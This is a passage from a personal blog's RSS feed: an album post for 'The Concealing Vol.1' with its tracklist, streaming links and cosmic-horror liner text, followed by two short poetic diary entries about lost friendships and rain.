&lt;p&gt;:::blue[Tracklist]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;The Concealing —Amonova&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Corrosion —Noir_D&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Doxa —Project_G&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;痴生 —Dirty Octopus &lt;em&gt;苟活者无以苟活&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;LiMiMAL%VOiD —%IiLiUM &lt;em&gt;苦思者无以苦思&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Alaya —硝酸生菜 &lt;em&gt;修性者无以修性&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;朝聖 —Estrella &lt;em&gt;朝拜者无以朝拜&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;歸壹 —Sdklmr &lt;em&gt;窥日者无以窥日&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;通靈 —Ac7i &lt;em&gt;贪食者无以贪食&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Neuropathy —Postt &amp;amp; Z1broad2 &lt;em&gt;嘶鸣者无以嘶鸣&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;離線 —FliZ
:::&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The production level across the whole album is &lt;strong&gt;absolutely top-tier&lt;/strong&gt;, &lt;strong&gt;insanely strong&lt;/strong&gt;; personally I&apos;m rather fond of Estrella&apos;s 朝聖 — it&apos;s very distinctive&lt;/p&gt;
&lt;p&gt;Feint, a well-known Drum &amp;amp; Bass producer, on it:
&lt;img src=&quot;./neuromancer/1.webp&quot; alt=&quot;feint&quot; /&gt;&lt;/p&gt;
&lt;p&gt;URL LINKS&lt;/p&gt;
&lt;p&gt;Spotify:&lt;a href=&quot;https://open.spotify.com/album/0vlUwkqXSc7Zv7CDfpoagU?si=uYi61_nhTgWjCG6Dst_fyA&quot;&gt;&amp;gt;link&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Apple music:&lt;a href=&quot;https://music.apple.com/jp/album/the-concealing-vol-1/1812567812&quot;&gt;&amp;gt;link&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;YouTube:&lt;a href=&quot;https://youtube.com/playlist?list=OLAK5uy_lxG1wtq0wqEGm-vik1mr5NIzdOSNSc3WM&amp;amp;si=QMhxc1IVjykyVF8m&quot;&gt;&amp;gt;link&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Dizzylab:&lt;a href=&quot;https://www.dizzylab.net/d/NEUROMANCER-01/&quot;&gt;&amp;gt;link&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;网易云音乐:&lt;a href=&quot;http://163cn.tv/Ehag88Y&quot;&gt;&amp;gt;link&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;When █ seeped through the third wall of the lab, I realized we had made a fundamental mistake. That wasn&apos;t a red sun; it was █&apos;s pupil. I remembered my father saying in his last transmission that he had found the &quot;answer,&quot; but the recording held only twelve hours of uninterrupted teeth colliding.&lt;br /&gt;
The forensic autopsy report showed that the sixth corpse had no digestive system; in its place was some kind of nested structure.&lt;br /&gt;
Avery, have you ever seen all things swallowed by the red sun, flares growing under a gaze? — We call it &quot;█.&quot; That was my father, my kin, my closest friend. Following the broken husk and unfinished answer left by ███████, I am walking toward it.&lt;br /&gt;
Avery, I am probably the last █ scholar still lucid, recording my colleagues&apos; madness and disappearance. The physicist went mad from countless hypotheses, the forensic examiner abandoned science after dissecting countless corpses; I remember clearly how they became █.&lt;br /&gt;
Now it&apos;s my turn.&lt;br /&gt;
Goodbye, or take care, Avery. Stepping into █&apos;s domain, I felt them — I know this isn&apos;t a hallucination, because their laughter is so real. Nerves settle in cysts, memories dissolve into dim slug soup. We were never exploring it; we were accepted by it.&lt;br /&gt;
If █ don&apos;t █ reply █ you hear this recording, I pass the gospel on to you on behalf of 翳.&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><category>音乐</category><author>Chongxi</author></item><item><title>Untitled • Friends</title><link>https://xice.cx/en/posts/log-fri/</link><guid isPermaLink="true">https://xice.cx/en/posts/log-fri/</guid><description>Old friendships drift apart, and the heart will not be at peace.</description><pubDate>Sat, 10 Aug 2024 17:47:21 GMT</pubDate><content:encoded>&lt;p&gt;Old words are hard to find, the heart is hard to quiet; the years drift and sink like a bewildering dream.
Through all the frost and wind the edges have worn smooth; old friends have drifted apart, and the heart will not be at peace.&lt;/p&gt;
&lt;p&gt;Written on impulse after scrolling back through my old posts.&lt;/p&gt;
</content:encoded><category>文学</category><author>Chongxi</author></item><item><title>Untitled • Rain</title><link>https://xice.cx/en/posts/log-rain/</link><guid isPermaLink="true">https://xice.cx/en/posts/log-rain/</guid><description>Alone on the wet road, a homeward soul is mirrored.</description><pubDate>Thu, 08 Aug 2024 13:39:21 GMT</pubDate><content:encoded>&lt;p&gt;Thunder roars, the night boundless; lightning flashes, an eerie wind tangles the roots of the clouds.
Beneath the lamp, light and shadow break the rain&apos;s traces; alone on the wet road, a homeward soul is mirrored.&lt;/p&gt;
&lt;p&gt;&lt;s&gt;Please critique this&lt;/s&gt;&lt;/p&gt;
</content:encoded><category>文学</category><author>Chongxi</author></item></channel></rss>